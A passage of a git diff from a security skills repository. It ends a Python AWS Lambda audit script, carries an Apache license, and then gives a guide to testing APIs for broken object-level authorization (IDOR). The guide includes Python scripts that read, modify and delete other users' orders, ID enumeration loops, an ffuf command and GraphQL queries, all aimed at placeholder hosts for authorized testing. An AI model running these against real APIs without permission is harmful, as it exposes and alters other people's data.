f"{url_config.get('FunctionUrl', '')}")
|
||||
else:
|
||||
print(f" [+] {f['FunctionName']}: URL auth={auth_type}")
|
||||
except lam.exceptions.ResourceNotFoundException:
|
||||
continue
|
||||
print(f"[*] {len(findings)} functions with unauthenticated URLs")
|
||||
return findings
|
||||
|
||||
|
||||
def check_env_variables(region="us-east-1"):
|
||||
"""Scan Lambda environment variables for potential hardcoded secrets."""
|
||||
lam = boto3.client("lambda", region_name=region)
|
||||
findings = []
|
||||
secret_patterns = ["password", "secret", "api_key", "apikey", "token", "private_key",
|
||||
"access_key", "db_pass", "database_url", "smtp"]
|
||||
paginator = lam.get_paginator("list_functions")
|
||||
for page in paginator.paginate():
|
||||
for f in page["Functions"]:
|
||||
env_vars = f.get("Environment", {}).get("Variables", {})
|
||||
kms_key = f.get("KMSKeyArn")
|
||||
for key, value in env_vars.items():
|
||||
key_lower = key.lower()
|
||||
if any(p in key_lower for p in secret_patterns):
|
||||
has_kms = bool(kms_key)
|
||||
findings.append({
|
||||
"function": f["FunctionName"],
|
||||
"variable": key,
|
||||
"encrypted": has_kms,
|
||||
"severity": "HIGH" if not has_kms else "MEDIUM",
|
||||
})
|
||||
enc_status = "KMS-encrypted" if has_kms else "PLAINTEXT"
|
||||
print(f" [!] {f['FunctionName']}: {key} ({enc_status})")
|
||||
print(f"[*] {len(findings)} potential secrets in environment variables")
|
||||
return findings
|
||||
|
||||
|
||||
def check_shared_roles(region="us-east-1"):
|
||||
"""Identify Lambda functions sharing the same execution role."""
|
||||
lam = boto3.client("lambda", region_name=region)
|
||||
role_map = {}
|
||||
paginator = lam.get_paginator("list_functions")
|
||||
for page in paginator.paginate():
|
||||
for f in page["Functions"]:
|
||||
role = f["Role"]
|
||||
role_name = role.split("/")[-1]
|
||||
if role_name not in role_map:
|
||||
role_map[role_name] = []
|
||||
role_map[role_name].append(f["FunctionName"])
|
||||
findings = []
|
||||
print("\n[*] Checking for shared execution roles...")
|
||||
for role, funcs in role_map.items():
|
||||
if len(funcs) > 1:
|
||||
findings.append({"role": role, "functions": funcs, "count": len(funcs)})
|
||||
print(f" [!] Role '{role}' shared by {len(funcs)} functions: {', '.join(funcs[:5])}")
|
||||
print(f"[*] {len(findings)} shared roles found")
|
||||
return findings
|
||||
|
||||
|
||||
def check_reserved_concurrency(region="us-east-1"):
|
||||
"""Check if functions have reserved concurrency set to prevent resource exhaustion."""
|
||||
lam = boto3.client("lambda", region_name=region)
|
||||
no_concurrency = []
|
||||
paginator = lam.get_paginator("list_functions")
|
||||
for page in paginator.paginate():
|
||||
for f in page["Functions"]:
|
||||
try:
|
||||
conc = lam.get_function_concurrency(FunctionName=f["FunctionName"])
|
||||
reserved = conc.get("ReservedConcurrentExecutions")
|
||||
if reserved is None:
|
||||
no_concurrency.append(f["FunctionName"])
|
||||
except Exception:
|
||||
no_concurrency.append(f["FunctionName"])
|
||||
if no_concurrency:
|
||||
print(f"\n[*] {len(no_concurrency)} functions without reserved concurrency")
|
||||
return no_concurrency
|
||||
|
||||
|
||||
def full_audit(region="us-east-1", output_path="serverless_audit.json"):
|
||||
"""Run comprehensive serverless security audit."""
|
||||
print("[*] Starting serverless security audit...\n")
|
||||
report = {
|
||||
"audit_date": datetime.now().isoformat(),
|
||||
"region": region,
|
||||
"functions": list_functions(region),
|
||||
"unauthenticated_urls": check_function_urls(region),
|
||||
"env_secrets": check_env_variables(region),
|
||||
"shared_roles": check_shared_roles(region),
|
||||
"no_concurrency_limit": check_reserved_concurrency(region),
|
||||
}
|
||||
total_findings = (len(report["unauthenticated_urls"]) + len(report["env_secrets"]) +
|
||||
len(report["shared_roles"]))
|
||||
report["total_findings"] = total_findings
|
||||
with open(output_path, "w") as f:
|
||||
json.dump(report, f, indent=2, default=str)
|
||||
print(f"\n[*] Audit complete: {total_findings} findings")
|
||||
print(f"[*] Report saved to {output_path}")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Serverless Function Security Agent")
|
||||
parser.add_argument("action", choices=["list", "urls", "env-secrets", "shared-roles",
|
||||
"concurrency", "full-audit"])
|
||||
parser.add_argument("--region", default="us-east-1")
|
||||
parser.add_argument("-o", "--output", default="serverless_audit.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.action == "list":
|
||||
list_functions(args.region)
|
||||
elif args.action == "urls":
|
||||
check_function_urls(args.region)
|
||||
elif args.action == "env-secrets":
|
||||
check_env_variables(args.region)
|
||||
elif args.action == "shared-roles":
|
||||
check_shared_roles(args.region)
|
||||
elif args.action == "concurrency":
|
||||
check_reserved_concurrency(args.region)
|
||||
elif args.action == "full-audit":
|
||||
full_audit(args.region, args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,392 @@
|
||||
---
|
||||
name: testing-api-for-broken-object-level-authorization
|
||||
description: 'Tests REST and GraphQL APIs for Broken Object Level Authorization (BOLA/IDOR,
|
||||
OWASP API1:2023) by intercepting API calls, identifying object ID parameters (numeric
|
||||
IDs, UUIDs, slugs), and systematically substituting IDs belonging to other users
|
||||
to check whether the server enforces per-object authorization. Use when asked to
|
||||
test BOLA or IDOR in an API, verify object-level authorization, or assess an API
|
||||
for access control bypass.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: api-security
|
||||
tags:
|
||||
- api-security
|
||||
- owasp
|
||||
- bola
|
||||
- idor
|
||||
- authorization
|
||||
- rest-security
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- PR.PS-01
|
||||
- ID.RA-01
|
||||
- PR.DS-10
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1190
|
||||
- T1059.007
|
||||
- T1552.001
|
||||
- T1027
|
||||
- T1070
|
||||
---
|
||||
# Testing API for Broken Object Level Authorization
|
||||
|
||||
## When to Use
|
||||
|
||||
- Assessing REST or GraphQL APIs that use object identifiers in URL paths, query parameters, or request bodies
|
||||
- Performing OWASP API Security Top 10 assessments where API1:2023 (BOLA) must be tested
|
||||
- Testing multi-tenant SaaS applications where users from different tenants should not access each other's data
|
||||
- Validating that API endpoints enforce per-object authorization checks beyond just authentication
|
||||
- Evaluating APIs after new endpoints are added to ensure authorization middleware is applied consistently
|
||||
|
||||
**Do not use** without written authorization from the API owner. BOLA testing involves accessing or attempting to access other users' data, which requires explicit permission.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Written authorization specifying the target API endpoints and scope of testing
|
||||
- At least two test accounts with different privilege levels and distinct data sets
|
||||
- Burp Suite Professional or OWASP ZAP configured as an intercepting proxy
|
||||
- Authentication tokens (JWT, session cookies, API keys) for each test account
|
||||
- API documentation (OpenAPI/Swagger spec) or access to enumerate endpoints
|
||||
- Python 3.10+ with `requests` library for scripted testing
|
||||
- Autorize Burp extension installed for automated BOLA detection
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: API Endpoint Discovery and Object ID Mapping
|
||||
|
||||
Enumerate all API endpoints and identify parameters that reference objects:
|
||||
|
||||
**From OpenAPI/Swagger Specification:**
|
||||
```bash
|
||||
# Download and parse the OpenAPI spec
|
||||
curl -s https://target-api.example.com/api/docs/swagger.json | python3 -m json.tool
|
||||
|
||||
# Extract all endpoints with path parameters
|
||||
curl -s https://target-api.example.com/api/docs/swagger.json | \
|
||||
python3 -c "
|
||||
import json, sys
|
||||
spec = json.load(sys.stdin)
|
||||
for path, methods in spec.get('paths', {}).items():
|
||||
for method, details in methods.items():
|
||||
if method in ('get','post','put','patch','delete'):
|
||||
params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')]
|
||||
if params:
|
||||
print(f'{method.upper()} {path} -> params: {params}')
|
||||
"
|
||||
```
|
||||
|
||||
**From Burp Suite Traffic:**
|
||||
1. Browse the application as User A, exercising all features that involve data creation and retrieval
|
||||
2. In Burp, go to Target > Site Map and filter for API paths (e.g., `/api/v1/`, `/graphql`)
|
||||
3. Look for patterns: `/api/v1/users/{id}`, `/api/v1/orders/{order_id}`, `/api/v1/documents/{doc_uuid}`
|
||||
4. Note the object ID format: sequential integers (predictable), UUIDs (less predictable), or encoded values
|
||||
|
||||
**Classify Object ID Types:**
|
||||
|
||||
| ID Type | Example | Predictability | BOLA Risk |
|
||||
|---------|---------|---------------|-----------|
|
||||
| Sequential Integer | `/orders/1042` | High - increment/decrement | Critical |
|
||||
| UUID v4 | `/orders/550e8400-e29b-41d4-a716-446655440000` | Low - random | Medium (if leaked) |
|
||||
| Encoded/Hashed | `/orders/base64encodedvalue` | Medium - decode and predict | High |
|
||||
| Composite | `/users/42/orders/1042` | High - multiple IDs to swap | Critical |
|
||||
| Slug | `/profiles/john-doe` | Medium - guess usernames | High |
|
||||
|
||||
### Step 2: Baseline Request Capture with Authenticated User
|
||||
|
||||
Capture legitimate requests for User A and User B:
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
BASE_URL = "https://target-api.example.com/api/v1"
|
||||
|
||||
# User A credentials
|
||||
user_a_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
|
||||
user_a_headers = {"Authorization": user_a_token, "Content-Type": "application/json"}
|
||||
|
||||
# User B credentials
|
||||
user_b_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
|
||||
user_b_headers = {"Authorization": user_b_token, "Content-Type": "application/json"}
|
||||
|
||||
# Step 1: Identify User A's objects
|
||||
user_a_profile = requests.get(f"{BASE_URL}/users/me", headers=user_a_headers)
|
||||
user_a_id = user_a_profile.json()["id"] # e.g., 1001
|
||||
|
||||
user_a_orders = requests.get(f"{BASE_URL}/users/{user_a_id}/orders", headers=user_a_headers)
|
||||
user_a_order_ids = [o["id"] for o in user_a_orders.json()["orders"]] # e.g., [5001, 5002]
|
||||
|
||||
# Step 2: Identify User B's objects
|
||||
user_b_profile = requests.get(f"{BASE_URL}/users/me", headers=user_b_headers)
|
||||
user_b_id = user_b_profile.json()["id"] # e.g., 1002
|
||||
|
||||
user_b_orders = requests.get(f"{BASE_URL}/users/{user_b_id}/orders", headers=user_b_headers)
|
||||
user_b_order_ids = [o["id"] for o in user_b_orders.json()["orders"]] # e.g., [5003, 5004]
|
||||
|
||||
print(f"User A (ID: {user_a_id}): Orders {user_a_order_ids}")
|
||||
print(f"User B (ID: {user_b_id}): Orders {user_b_order_ids}")
|
||||
```
|
||||
|
||||
### Step 3: BOLA Testing - Horizontal Privilege Escalation
|
||||
|
||||
Attempt to access User B's objects using User A's authentication:
|
||||
|
||||
```python
|
||||
import json
|
||||
|
||||
results = []
|
||||
|
||||
# Test 1: Access User B's profile with User A's token
|
||||
resp = requests.get(f"{BASE_URL}/users/{user_b_id}", headers=user_a_headers)
|
||||
results.append({
|
||||
"test": "Access other user profile",
|
||||
"endpoint": f"GET /users/{user_b_id}",
|
||||
"auth": "User A",
|
||||
"status": resp.status_code,
|
||||
"vulnerable": resp.status_code == 200,
|
||||
"data_leaked": list(resp.json().keys()) if resp.status_code == 200 else None
|
||||
})
|
||||
|
||||
# Test 2: Access User B's orders with User A's token
|
||||
for order_id in user_b_order_ids:
|
||||
resp = requests.get(f"{BASE_URL}/orders/{order_id}", headers=user_a_headers)
|
||||
results.append({
|
||||
"test": f"Access other user order {order_id}",
|
||||
"endpoint": f"GET /orders/{order_id}",
|
||||
"auth": "User A",
|
||||
"status": resp.status_code,
|
||||
"vulnerable": resp.status_code == 200
|
||||
})
|
||||
|
||||
# Test 3: Modify User B's order with User A's token
|
||||
resp = requests.patch(
|
||||
f"{BASE_URL}/orders/{user_b_order_ids[0]}",
|
||||
headers=user_a_headers,
|
||||
json={"status": "cancelled"}
|
||||
)
|
||||
results.append({
|
||||
"test": "Modify other user order",
|
||||
"endpoint": f"PATCH /orders/{user_b_order_ids[0]}",
|
||||
"auth": "User A",
|
||||
"status": resp.status_code,
|
||||
"vulnerable": resp.status_code in (200, 204)
|
||||
})
|
||||
|
||||
# Test 4: Delete User B's resource with User A's token
|
||||
resp = requests.delete(f"{BASE_URL}/orders/{user_b_order_ids[0]}", headers=user_a_headers)
|
||||
results.append({
|
||||
"test": "Delete other user order",
|
||||
"endpoint": f"DELETE /orders/{user_b_order_ids[0]}",
|
||||
"auth": "User A",
|
||||
"status": resp.status_code,
|
||||
"vulnerable": resp.status_code in (200, 204)
|
||||
})
|
||||
|
||||
# Print results
|
||||
for r in results:
|
||||
status = "VULNERABLE" if r["vulnerable"] else "SECURE"
|
||||
print(f"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}")
|
||||
```
|
||||
|
||||
### Step 4: Advanced BOLA Techniques
|
||||
|
||||
Test for less obvious BOLA patterns:
|
||||
|
||||
```python
|
||||
# Technique 1: Parameter pollution - send both IDs
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/orders/{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}",
|
||||
headers=user_a_headers
|
||||
)
|
||||
print(f"Parameter pollution: {resp.status_code}")
|
||||
|
||||
# Technique 2: JSON body object ID override
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/orders/details",
|
||||
headers=user_a_headers,
|
||||
json={"order_id": user_b_order_ids[0]}
|
||||
)
|
||||
print(f"Body ID override: {resp.status_code}")
|
||||
|
||||
# Technique 3: Array of IDs - include other user's IDs in batch request
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/orders/batch",
|
||||
headers=user_a_headers,
|
||||
json={"order_ids": user_a_order_ids + user_b_order_ids}
|
||||
)
|
||||
print(f"Batch ID inclusion: {resp.status_code}, returned {len(resp.json().get('orders',[]))} orders")
|
||||
|
||||
# Technique 4: Numeric ID manipulation for sequential IDs
|
||||
for offset in range(-5, 6):
|
||||
test_id = user_a_order_ids[0] + offset
|
||||
if test_id not in user_a_order_ids:
|
||||
resp = requests.get(f"{BASE_URL}/orders/{test_id}", headers=user_a_headers)
|
||||
if resp.status_code == 200:
|
||||
owner = resp.json().get("user_id", "unknown")
|
||||
if str(owner) != str(user_a_id):
|
||||
print(f"BOLA: Order {test_id} belongs to user {owner}, accessible by User A")
|
||||
|
||||
# Technique 5: Swap object ID in nested resource paths
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/users/{user_b_id}/orders/{user_b_order_ids[0]}/invoice",
|
||||
headers=user_a_headers
|
||||
)
|
||||
print(f"Nested resource BOLA: {resp.status_code}")
|
||||
|
||||
# Technique 6: Method switching - GET may be blocked but PUT allowed
|
||||
for method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']:
|
||||
resp = requests.request(
|
||||
method,
|
||||
f"{BASE_URL}/users/{user_b_id}/settings",
|
||||
headers=user_a_headers,
|
||||
json={"notifications": False} if method in ('PUT', 'PATCH') else None
|
||||
)
|
||||
if resp.status_code not in (401, 403, 405):
|
||||
print(f"Method {method} on other user settings: {resp.status_code}")
|
||||
```
|
||||
|
||||
### Step 5: Automated BOLA Detection with Autorize (Burp Suite)
|
||||
|
||||
Configure Autorize for automated detection:
|
||||
|
||||
1. Install Autorize from the BApp Store in Burp Suite Professional
|
||||
2. In the Autorize tab, paste User B's authentication cookie or header
|
||||
3. Configure the interception filters:
|
||||
- Include: `.*\/api\/.*` (only API paths)
|
||||
- Exclude: `.*\.(js|css|png|jpg)$` (skip static assets)
|
||||
4. Set the enforcement detector:
|
||||
- Add conditions where response length or status code differs between User A and User B
|
||||
- Mark as "enforced" if User A gets 403/401 for User B's resources
|
||||
- Mark as "bypassed" if User A gets 200 with User B's data
|
||||
5. Browse the application as User A; Autorize automatically replays each request with User B's token
|
||||
6. Review the Autorize results table:
|
||||
- Green = Authorization enforced (secure)
|
||||
- Red = Authorization bypassed (BOLA vulnerability)
|
||||
- Orange = Needs manual review (ambiguous response)
|
||||
|
||||
### Step 6: GraphQL BOLA Testing
|
||||
|
||||
```graphql
|
||||
# Test BOLA in GraphQL queries using node/ID relay pattern
|
||||
# User A queries User B's order by global relay ID
|
||||
query {
|
||||
node(id: "T3JkZXI6NTAwMw==") { # Base64 of "Order:5003" (User B's)
|
||||
... on Order {
|
||||
id
|
||||
totalAmount
|
||||
shippingAddress {
|
||||
street
|
||||
city
|
||||
}
|
||||
items {
|
||||
productName
|
||||
quantity
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Test nested object access through relationships
|
||||
query {
|
||||
user(id: "1002") { # User B's ID
|
||||
email
|
||||
phoneNumber
|
||||
orders {
|
||||
edges {
|
||||
node {
|
||||
id
|
||||
totalAmount
|
||||
paymentMethod {
|
||||
lastFourDigits
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **BOLA** | Broken Object Level Authorization (OWASP API1:2023) - the API does not verify that the authenticated user has permission to access the specific object referenced by the request |
|
||||
| **IDOR** | Insecure Direct Object Reference - a closely related term where the application uses user-controllable input to directly access objects without authorization checks |
|
||||
| **Horizontal Privilege Escalation** | Accessing resources belonging to another user at the same privilege level by manipulating object identifiers |
|
||||
| **Vertical Privilege Escalation** | Accessing resources or functions restricted to a higher privilege level (e.g., regular user accessing admin endpoints) |
|
||||
| **Object ID Enumeration** | Predicting valid object identifiers by analyzing their format (sequential integers, UUID patterns, encoded values) |
|
||||
| **Autorize** | A Burp Suite extension that automates authorization testing by replaying requests with different user tokens |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **Burp Suite Professional**: Intercepting proxy for capturing and manipulating API requests with Autorize extension for automated BOLA testing
|
||||
- **OWASP ZAP**: Open-source alternative with Access Control Testing add-on for authorization boundary testing
|
||||
- **Autorize**: Burp extension that automatically detects authorization enforcement by replaying requests with different user contexts
|
||||
- **Postman**: API testing platform for crafting and replaying requests with different authentication tokens across collections
|
||||
- **ffuf**: Web fuzzer that can enumerate object IDs at scale: `ffuf -u https://api.example.com/orders/FUZZ -w ids.txt -H "Authorization: Bearer token"`
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: E-Commerce API BOLA Assessment
|
||||
|
||||
**Context**: An e-commerce platform exposes a REST API for its mobile app. The API uses sequential integer IDs for orders, users, and addresses. Two test accounts are provided: a regular customer (User A, ID 1001) and another customer (User B, ID 1002).
|
||||
|
||||
**Approach**:
|
||||
1. Map all endpoints from the Swagger spec at `/api/docs`: identify 47 endpoints, 23 of which take object IDs
|
||||
2. Capture User A's requests for their own resources: profile, orders, addresses, payment methods, wishlist
|
||||
3. Replace User A's object IDs with User B's IDs systematically across all 23 endpoints
|
||||
4. Find that `GET /api/v1/orders/{id}` returns any order regardless of ownership (BOLA on read)
|
||||
5. Find that `PATCH /api/v1/addresses/{id}` allows modifying any user's address (BOLA on write)
|
||||
6. Find that `GET /api/v1/users/{id}/payment-methods` leaks payment card last-four digits for any user
|
||||
7. Test batch endpoint `POST /api/v1/orders/export` - accepts array of order IDs and exports all without ownership check
|
||||
8. Verify that `DELETE /api/v1/orders/{id}` correctly returns 403 for non-owned orders (authorization enforced)
|
||||
|
||||
**Pitfalls**:
|
||||
- Only testing GET requests and missing BOLA in PUT/PATCH/DELETE methods that allow data modification or destruction
|
||||
- Assuming UUIDs prevent BOLA - UUIDs are less predictable but can be leaked in API responses, logs, or URL parameters
|
||||
- Not testing nested resource paths where authorization may be checked on the parent but not the child resource
|
||||
- Missing BOLA in bulk/batch endpoints that accept arrays of object IDs
|
||||
- Not considering that different API versions (v1 vs v2) may have different authorization implementations
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
## Finding: Broken Object Level Authorization in Order API
|
||||
|
||||
**ID**: API-BOLA-001
|
||||
**Severity**: High (CVSS 7.5)
|
||||
**OWASP API**: API1:2023 - Broken Object Level Authorization
|
||||
**Affected Endpoints**:
|
||||
- GET /api/v1/orders/{id}
|
||||
- PATCH /api/v1/addresses/{id}
|
||||
- GET /api/v1/users/{id}/payment-methods
|
||||
- POST /api/v1/orders/export
|
||||
|
||||
**Description**:
|
||||
The API does not enforce object-level authorization on order retrieval,
|
||||
address modification, payment method viewing, or order export endpoints.
|
||||
An authenticated user can access or modify any other user's resources by
|
||||
substituting object IDs in the request. Sequential integer IDs make
|
||||
enumeration trivial.
|
||||
|
||||
**Proof of Concept**:
|
||||
1. Authenticate as User A (ID 1001): POST /api/v1/auth/login
|
||||
2. Retrieve User A's order: GET /api/v1/orders/5001 -> 200 OK (legitimate)
|
||||
3. Access User B's order: GET /api/v1/orders/5003 -> 200 OK (BOLA - returns full order details)
|
||||
4. Modify User B's address: PATCH /api/v1/addresses/2002 -> 200 OK (BOLA - address changed)
|
||||
|
||||
**Impact**:
|
||||
- Read access to all 850,000+ customer orders including shipping addresses and order contents
|
||||
- Write access to any customer's delivery address, enabling package redirection
|
||||
- Exposure of partial payment card data for all customers
|
||||
|
||||
**Remediation**:
|
||||
1. Implement object-level authorization middleware that verifies the authenticated user owns the requested resource
|
||||
2. Use authorization checks at the data access layer: `WHERE order.user_id = authenticated_user.id`
|
||||
